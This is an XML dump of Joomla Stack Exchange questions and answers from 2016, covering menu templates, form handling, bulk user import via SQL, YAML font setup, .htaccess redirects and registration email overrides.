  <row Id="15336" PostTypeId="2" ParentId="15330" CreationDate="2016-02-19T05:26:12.870" Score="1" Body="&lt;p&gt;Check if you have hidden field named task if not then add following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;&quot; name=&quot;task&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then change its value by editing on change event as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;onchange=&quot;submitForm();&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add following small script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  function submitForm(){&#xA;    this.form.task = 'subcontroller.csvDownloadTask';&#xA;    this.form.submit();&#xA;    this.form.task = '';&#xA;  }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7787" LastEditorUserId="8261" LastEditDate="2017-01-19T01:19:02.350" LastActivityDate="2017-01-19T01:19:02.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15338" PostTypeId="1" AcceptedAnswerId="15340" CreationDate="2016-02-19T08:29:47.087" Score="0" ViewCount="164" Body="&lt;p&gt;I need to change the main menu html and css. I am using a Yootheme template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In there menu has sone div tags inside the sub menu. I need to remove them. I haven't any idea how to do it. &#xA;I looked under theme folder but not found any menu.&lt;/p&gt;&#xA;" OwnerUserId="7549" LastEditorUserId="126" LastEditDate="2016-02-19T09:00:41.460" LastActivityDate="2016-02-19T12:41:47.687" Title="Change WARP template main menu html tags" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15339" PostTypeId="2" ParentId="8790" CreationDate="2016-02-19T10:57:21.913" Score="0" Body="&lt;p&gt;I have the same issue, the Joomla &lt;code&gt;$pageclass&lt;/code&gt; variable indicates that when creating a menu you need to give page class name under the page display option.&lt;/p&gt;&#xA;&lt;p&gt;And call this in body tag:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&amp;quot; &amp;lt;?php echo $pageclass; ?&amp;gt;&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: When ever you create new menu, you need a separate class name in body tag, we need to add the page class.&lt;/p&gt;&#xA;" OwnerUserId="7824" LastEditorUserId="9485" LastEditDate="2022-10-11T10:11:55.477" LastActivityDate="2022-10-11T10:11:55.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15340" PostTypeId="2" ParentId="15338" CreationDate="2016-02-19T12:41:47.687" Score="1" Body="&lt;p&gt;You will need to look in the following directory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/yoo_peak/warp/src/Warp/Menu&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In here, you'll see 5 files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Subnav.php&lt;/li&gt;&#xA;&lt;li&gt;Pre.php&lt;/li&gt;&#xA;&lt;li&gt;Post.php&lt;/li&gt;&#xA;&lt;li&gt;Navbar.php&lt;/li&gt;&#xA;&lt;li&gt;Nav.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These files are used to manipulated the menu on Yootheme templates.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-02-19T12:41:47.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15341" PostTypeId="1" CreationDate="2016-02-19T12:55:49.617" Score="0" ViewCount="102" Body="&lt;p&gt;I'm using j3.4.8 and suddenly after I changed the Special ACL to include Manager, and I went back to it after dinner, Joomla displayed &quot;Refreshed Messages&quot; button, which upon clicking produced Profile without any admin panel menu visible at all. Please can anyone help me so that I can have the admin menu displayed again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you..&lt;/p&gt;&#xA;" OwnerUserId="7826" LastEditorUserId="360" LastEditDate="2016-02-20T02:13:44.107" LastActivityDate="2016-06-21T17:48:46.343" Title="My Joomla website admin panel suddenly has no menus available after I refreshed messages" Tags="|administrator|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15342" PostTypeId="2" ParentId="9555" CreationDate="2016-02-19T13:05:35.340" Score="0" Body="&lt;p&gt;Fruppel's answer is spot on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a slight gotcha that I came across which may help others. If you are aliasing columns from different tables so that the whole union exposes the same name where the original table column name is different between the tables, then you neeed to ensure the alias list is in the same order in both (or all) queries that form the union.&lt;/p&gt;&#xA;" OwnerUserId="7827" LastActivityDate="2016-02-19T13:05:35.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15344" PostTypeId="1" AcceptedAnswerId="15348" CreationDate="2016-02-19T16:05:53.740" Score="2" ViewCount="695" Body="&lt;p&gt;I have a custom component where the user can add some data. Here are the two relevant fields: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;title&quot; &#xA;    type=&quot;text&quot; &#xA;    label=&quot;Title&quot; &#xA;    description=&quot;Please enter a title&quot; &#xA;    required=&quot;true&quot; &#xA;/&amp;gt;&#xA;&amp;lt;field &#xA;    name=&quot;alias&quot; &#xA;    type=&quot;text&quot; &#xA;    label=&quot;Alias&quot; &#xA;    description=&quot;Please enter an unique alias&quot; &#xA;    required=&quot;true&quot; &#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am currently using the standard 'save' method to save the form data. But the problem obvious is that it is saving duplicate alias items. Where and how will I add a check to ensure that the alias is not in use (just like with Menu Item or Article).&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2016-02-27T17:56:32.077" Title="Check a form field for duplicates before saving" Tags="|form|custom-component|model|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15347" PostTypeId="1" CreationDate="2016-02-20T00:47:30.390" Score="3" ViewCount="2145" Body="&lt;p&gt;How can to add multiple users in Joomla 3 &lt;em&gt;without using an extension&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! :)&lt;/p&gt;&#xA;" OwnerUserId="7832" LastEditorUserId="126" LastEditDate="2017-01-14T12:02:33.493" LastActivityDate="2017-01-14T12:02:33.493" Title="Adding Multiple Users in Joomla" Tags="|mysql|database|user|administration|phpmyadmin|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15348" PostTypeId="2" ParentId="15344" CreationDate="2016-02-20T04:35:53.940" Score="3" Body="&lt;p&gt;The best place is your table class before storing data. For example below code in store function of table class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store ($updateNulls = false)&#xA;{&#xA;    if ($table-&amp;gt;load(array('alias' =&amp;gt; $this-&amp;gt;alias, 'catid' =&amp;gt; $this-&amp;gt;catid)) &amp;amp;&amp;amp; ($table-&amp;gt;id != $this-&amp;gt;id || $this-&amp;gt;id == 0))&#xA;    {&#xA;        $this-&amp;gt;setError(JText::_('COM_MYCOMPONENT_DATABASE_ERROR_UNIQUE_ALIAS').'| Alias: '.$this-&amp;gt;alias);&#xA;        return false;&#xA;    }&#xA;&#xA;    return parent::store($updateNulls);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2016-02-27T17:56:32.077" LastActivityDate="2016-02-27T17:56:32.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15349" PostTypeId="2" ParentId="15341" CreationDate="2016-02-20T04:48:57.877" Score="1" Body="&lt;p&gt;Looks like the nested tree model of your menu table got corrupted. This happens because of wrong left and right values assigned to the rows in your table. The main reasons could be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have manually deleted rows from xxx_menu table&lt;/li&gt;&#xA;&lt;li&gt;Some extension that you installed or using corrupted your table entries&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To fix, try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to Menu manager &lt;/li&gt;&#xA;&lt;li&gt;Click rebuild button&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-02-20T04:48:57.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15350" PostTypeId="2" ParentId="15347" CreationDate="2016-02-20T15:04:37.197" Score="8" Body="&lt;p&gt;I see in the tags of your question you are using mysql and phpmyadmin, so I assume you are after a a way to INSERT records of users directly into the Joomla database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However please note that, the exact approach should depend on from where you want to import these users and the actual user-data you already have and want to import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if these users exist in an another Joomla site of previous versions, then this could be possible either by db migration or by using an extension like &lt;a href=&quot;http://extensions.joomla.org/extension/sp-transfer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;SP Tranfer&lt;/strong&gt;&lt;/a&gt;, which would be the simplest and easiest method that would keep ids and other user data with the rest of the site. In such case you shouldn't have to care about other kind of direct db imports. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Simple DB Import of users&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Users Table&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;But let's say you have a simple list of users with names and emails you would like to import, you will need to insert records into 2 db tables for Joomla 3, the &lt;strong&gt;&lt;code&gt;#__users&lt;/code&gt;&lt;/strong&gt; and the &lt;strong&gt;&lt;code&gt;#__user_usergroup_map&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the &lt;strong&gt;&lt;code&gt;#__users&lt;/code&gt;&lt;/strong&gt; the essential fields are:&#xA;&lt;code&gt;name&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;block&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you should end up with an &lt;strong&gt;INSERT&lt;/strong&gt; Query like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `#__users` (`name`, `username`, `email`, `password`, `block`)&#xA;VALUES&#xA;    ('User1 Name', 'username1', 'user1@email.com', '$2y$10$Zy4d0JrrUq7Ed6pAzMFtQ.IZf5NtAsMyhDS7AwXlAZqMBgogqCev6', 0),&#xA;    ('User2 Name', 'username2', 'user2@email.com', '$2y$10$Zy4d0JrrUq7Ed6pAzMFtQ.IZf5NtAsMyhDS7AwXlAZqMBgogqCev6', 0),&#xA;    ('User3 Name', 'username3', 'user3@email.com', '$2y$10$Zy4d0JrrUq7Ed6pAzMFtQ.IZf5NtAsMyhDS7AwXlAZqMBgogqCev6', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Passwords&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Regarding the password field, you could use a default password for all users and then require each user to reset his password in order to login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in the above query, the password field's value &lt;code&gt;$2y$10$Zy4d0JrrUq7Ed6pAzMFtQ.IZf5NtAsMyhDS7AwXlAZqMBgogqCev6&lt;/code&gt; used is for '&lt;code&gt;test123&lt;/code&gt;', for all the 3 users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to the real passwords of each user and want to use these, then you will need to generate them. Find more info about J3 user password encryption here: &lt;strong&gt;&lt;a href=&quot;https://stackoverflow.com/questions/21304038/joomla-3-2-1-password-encryption&quot;&gt;https://stackoverflow.com/questions/21304038/joomla-3-2-1-password-encryption&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Users ID&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another note for the &lt;strong&gt;&lt;code&gt;#__users&lt;/code&gt;&lt;/strong&gt; table is the id field (which will be auto-incremented). If you have users with already assigned ids that you want to keep, then you should also include them in your Insert query, otherwise, each user will get automatically his id.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Block Field&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Finally the block value set to 0 will tell Joomla that these users aren't blocked and allowed to use their accounts.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;User_Usergroups Table&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now, to complete the users import, you will also need to assign all users to a usergroup. This is done, by combining users id with a usergroup.&#xA;Commonly, the majority of users would go to the &lt;strong&gt;Registered&lt;/strong&gt; usergroup (with default usergroup id =2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you will have to run an INSERT query that will simply do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `#__user_usergroup_map` (`user_id`, `group_id`)&#xA;VALUES&#xA;    (20, 2),&#xA;    (21, 2),&#xA;    (22, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the &lt;strong&gt;&lt;code&gt;user_id&lt;/code&gt;&lt;/strong&gt; field, you will need to use the ids that have been assigned to your users from the previous Insert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will help give you a base to start and adjust accordingly to your specific needs.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Actually the Block field is not required, as it gets a 0 value by default. However I will leave the above answers as is.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-02-20T15:18:41.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15351" PostTypeId="1" CreationDate="2016-02-20T18:34:20.587" Score="1" ViewCount="647" Body="&lt;p&gt;I have tried to add a custom local font(tex-gyre-adventor) in gantry 5 font-picker, but I keep getting this error: &quot;A YAML file cannot contain tabs as indentation at line 46 (near &quot;   tex-gyre-adventor:&quot;)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this code in theme.yaml:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  fonts:&#xA;    roboto:&#xA;      400: 'gantry-theme://fonts/roboto_regular_macroman/Roboto-Regular-webfont'&#xA;      500: 'gantry-theme://fonts/roboto_medium_macroman/Roboto-Medium-webfont'&#xA;      700: 'gantry-theme://fonts/roboto_bold_macroman/Roboto-Bold-webfont'&#xA;    tex-gyre-adventor:&#xA;    400: 'gantry-theme://fonts/texgyreadventor-regular-webfont'&#xA;    400italic: 'gantry-theme://fonts/texgyreadventor-italic-webfont'&#xA;    700: 'gantry-theme://fonts/texgyreadventor-bold-webfont'&#xA;    700italic: 'gantry-theme://fonts/texgyreadventor-bolditalic-webfont'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Kindly help me resolve this, your assistance is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7804" LastEditorUserId="120" LastEditDate="2016-02-20T23:12:02.917" LastActivityDate="2016-02-21T04:41:35.750" Title="How to add a custom local font in gantry 5 Joomla theme" Tags="|joomla-3.x|gantry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15352" PostTypeId="2" ParentId="15347" CreationDate="2016-02-20T20:50:55.970" Score="1" Body="&lt;p&gt;I have made an ajax call and then just passing the variables to this script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__);&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;/* Required Files */&#xA;require_once(JPATH_BASE . DS . 'includes' . DS . 'defines.php');&#xA;require_once(JPATH_BASE . DS . 'includes' . DS . 'framework.php');&#xA;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;require_once(JPATH_BASE . DS . 'components' . DS . 'com_users' . DS . 'models' . DS . 'registration.php');&#xA;&#xA;$model = new UsersModelRegistration();&#xA;&#xA;jimport('joomla.mail.helper');&#xA;jimport('joomla.user.helper');&#xA;$language = JFactory::getLanguage();&#xA;$language-&amp;gt;load('com_users', JPATH_SITE);&#xA;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;$type       = 0;&#xA;$name       = $jinput-&amp;gt;get('name', '', 'string');&#xA;$username   = $jinput-&amp;gt;get('username', '', 'string');&#xA;$email      = $jinput-&amp;gt;get('email', '', 'email');&#xA;$password   = $jinput-&amp;gt;get('password', '', 'string');&#xA;$alias      = strtr($name, array(' ' =&amp;gt; '-'));&#xA;$sendEmail  = 1;&#xA;$activation = 0;&#xA;&#xA;$data = array(&#xA;    'username'   =&amp;gt; $username,&#xA;    'name'       =&amp;gt; $name,&#xA;    'email1'     =&amp;gt; $email,&#xA;    'password1'  =&amp;gt; $password, // First password field&#xA;    'password2'  =&amp;gt; $password, // Confirm password field&#xA;    'sendEmail'  =&amp;gt; $sendEmail,&#xA;    'activation' =&amp;gt; $activation,&#xA;    'block'      =&amp;gt; &quot;0&quot;, &#xA;    'groups'     =&amp;gt; array(&quot;2&quot;, &quot;10&quot;)&#xA;);&#xA;&#xA;$response = $model-&amp;gt;register($data);&#xA;&#xA;//print_r($data); //tested&#xA;$model-&amp;gt;register($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put this script in your root directory.&#xA;I have tried the script and its working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have any issues.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="168" LastEditDate="2016-02-22T10:14:28.710" LastActivityDate="2016-02-22T10:14:28.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15353" PostTypeId="2" ParentId="15351" CreationDate="2016-02-20T23:16:23.167" Score="1" Body="&lt;p&gt;YAML files use 2 or 4 spaces for indentation but tab indentation is forbidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use search and replace in your editor to replace each tab with a double space and then check your indentation is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://stackoverflow.com/a/19976827/1983389&quot;&gt;https://stackoverflow.com/a/19976827/1983389&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-02-21T04:41:35.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15354" PostTypeId="1" AcceptedAnswerId="15355" CreationDate="2016-02-21T02:03:56.307" Score="4" ViewCount="761" Body="&lt;p&gt;This is a real novice question regarding .htaccess files. I have read up on it but I really have no clue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a site called originalsite.com.au that is redirecting to www.examplesite.org.au (see below). When I take the comment out, it redirects fine, when I put the comment back in it goes to a blank page and not back to the originalsite homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want originalsite.com to point the original home page now. I know the originalsite homepage is there because when I use the IP address instead of the URL it goes to originalsite home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obviously don't understand how .htaccess works. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;&#xA;RewriteCond %{SERVER_PORT} !=443&#xA;#RewriteRule ^ https://www.examplesite.org.au%{REQUEST_URI} [R,L]&amp;lt;== COMMENTED OUT BY AQ TO STOP REDIRECT&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesnt directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesnt directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7837" LastEditorUserId="126" LastEditDate="2016-02-21T05:24:14.170" LastActivityDate="2016-02-21T05:24:14.170" Title="Stopping a redirect in .htaccess" Tags="|joomla-3.x|joomla-2.5|.htaccess-configuration|server|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15355" PostTypeId="2" ParentId="15354" CreationDate="2016-02-21T05:12:05.003" Score="3" Body="&lt;p&gt;You are commenting out the RewriteRule to the examplesite.org.au site, but before the rewriteRule you have the RewriteCond for the Server_Port, which lefts orphaned and looks to be the issue here.&#xA;So, comment out also the line above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I would suggest you to use a fresh htaccess file now.&#xA;You can download a fresh Joomla package that contains the default htaccess.txt, upload it to your server, rename it to .htaccess and replace your old one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, keep in mind that you can use the htaccess to strengthen up the security of your site. You can install &lt;a href=&quot;http://extensions.joomla.org/extension/admin-tools-professional&quot; rel=&quot;nofollow&quot;&gt;Akeeba Admin Tools pro&lt;/a&gt; (paid) that contains an htaccess maker feature, to produce an enhanced &#xA;.htaccess file (strongly recommended).&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-02-21T05:12:05.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15357" PostTypeId="1" AcceptedAnswerId="15358" CreationDate="2016-02-21T12:31:23.087" Score="2" ViewCount="423" Body="&lt;p&gt;at the moment I'm getting the following mail an user-creation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hallo Lastname Fristname,&#xA;&#xA;&#xA;diese E-Mail-Adresse wurde von einem Administrator auf der Seite example.com für einen neuen Benutzer registriert.&#xA;&#xA;Es folgen Benutzername und Passwort zur Anmeldung auf der Seite http://example.com/&#xA;&#xA;Benutzername: myusername&#xA;Passwort: $2y$10$YPB0TVz.1jz4G&#xA;&#xA;&#xA;Bitte auf diese Nachricht nicht antworten da sie automatisch vom System erstellt wurde und nur zur Information dient.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I prevent the mail from being sent and use my own text?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="3650" LastEditDate="2016-11-13T11:21:20.940" LastActivityDate="2016-11-13T11:21:20.940" Title="Modify mail on user-creation" Tags="|joomla-3.x|user|emails|registration|email-template|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15358" PostTypeId="2" ParentId="15357" CreationDate="2016-02-21T13:12:32.947" Score="3" Body="&lt;p&gt;Registration message comes from Language Variable defined in com_users language file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;\language\en-GB\en-GB.com_users.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Replace en-GB with your desired language code of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should search your message in the above file and instead of directly editing .com_users.ini which might get overwritten in next joomla update,  you should create language override. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check the following link how to override the langauge:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Language_Overrides_in_Joomla&quot;&gt;http://docs.joomla.org/Language_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-02-21T13:12:32.947" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15359" PostTypeId="1" AcceptedAnswerId="15361" CreationDate="2016-02-21T15:10:18.027" Score="3" ViewCount="397" Body="&lt;p&gt;I have a website with a special background-images on the article=home and a different background-image on all other articles. I use the following code in the template index.php: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$active = Jfactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;&#xA;if ($active-&amp;gt;alias == 'home') {&#xA;?&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;&amp;lt;!--&#xA;body {&#xA;    background-image: url(http://mywebsite.com/templates/img/page_home.jpeg);}&#xA;--&amp;gt;&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;&amp;lt;!--&#xA;    background-image: url(http://mywebsite.com/templates/img/page_others.jpeg);}&#xA;--&amp;gt;&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It's working fine on Desktops. As soon the as the monitor width is smaller than specified in &quot;.css @media&quot; and the responsive Menu-Button is activ then the ...-&gt;getMenu()-&gt;getActive(); is not anymore saying the &quot;$active-&gt;alias&quot;. How can i ask the responseive Menu alias?&lt;/p&gt;&#xA;" OwnerUserId="2267" LastEditorUserId="154" LastEditDate="2016-02-21T20:52:31.837" LastActivityDate="2016-02-21T23:38:17.907" Title="Responsive Menu with different background images" Tags="|menu|responsive-web-design|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15360" PostTypeId="2" ParentId="15359" CreationDate="2016-02-21T18:51:04.943" Score="1" Body="&lt;p&gt;You'd better check if the menu item is default one (i.e. Front page) than checking for home alias which might be easily changed in admin.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;  $app = JFactory::getApplication();  &#xA;  $menu = $app-&amp;gt;getMenu();  &#xA;  if ($menu-&amp;gt;getActive() == $menu-&amp;gt;getDefault()) {  &#xA;    echo 'This is the front page';  &#xA;  }  &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure that default menu item doesn't change with screen width, i.e. stays the same in responsive mode too.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details can be found on &lt;a href=&quot;https://docs.joomla.org/How_to_determine_if_the_user_is_viewing_the_front_page&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_determine_if_the_user_is_viewing_the_front_page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-02-21T21:20:28.147" LastActivityDate="2016-02-21T21:20:28.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15361" PostTypeId="2" ParentId="15359" CreationDate="2016-02-21T23:38:17.907" Score="2" Body="&lt;p&gt;Future template updates will likely undo your template index.php file edits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better way to do this (and probably worth a try if your initial method is not working consistently) is to edit your home page menu item and add a Page Class e.g. &lt;code&gt;home-page&lt;/code&gt; under the &quot;Page Display&quot; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iAz6k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iAz6k.png&quot; alt=&quot;Page Class&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use the &lt;code&gt;home-page&lt;/code&gt; CSS selector in your custom CSS file to override the page background for the Home Page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {&#xA;  background-image: url(http://mywebsite.com/templates/img/page_home.jpeg);&#xA;}&#xA;.home-page&#xA;  background-image: url(http://mywebsite.com/templates/img/page_others.jpeg);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;https://joomla.stackexchange.com/a/3878/120&lt;/a&gt; for details on how to create a custom CSS file for your template.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-02-21T23:38:17.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
